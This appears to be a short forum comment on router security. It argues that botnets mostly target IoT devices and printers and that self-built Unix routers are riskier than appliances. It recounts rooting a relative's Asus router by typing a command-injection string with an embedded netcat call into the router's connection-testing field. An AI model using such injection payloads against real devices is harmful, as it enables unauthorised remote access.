Botnets are created on internet of things and printers, rarely on routers. A small business trying to setup and administer a Unix server as a router is more likely to go wrong than buying a dedicated appliance.

I’ve actually trivially rooted my mothers Asus two times when she had network problems and I had to find a way of debugging it remotely. One time I could inject an RCE via some kind of network connection testing tool they had which were supposed to take an uri but happily accepted something like "google.com$(whoami; nc...&)"
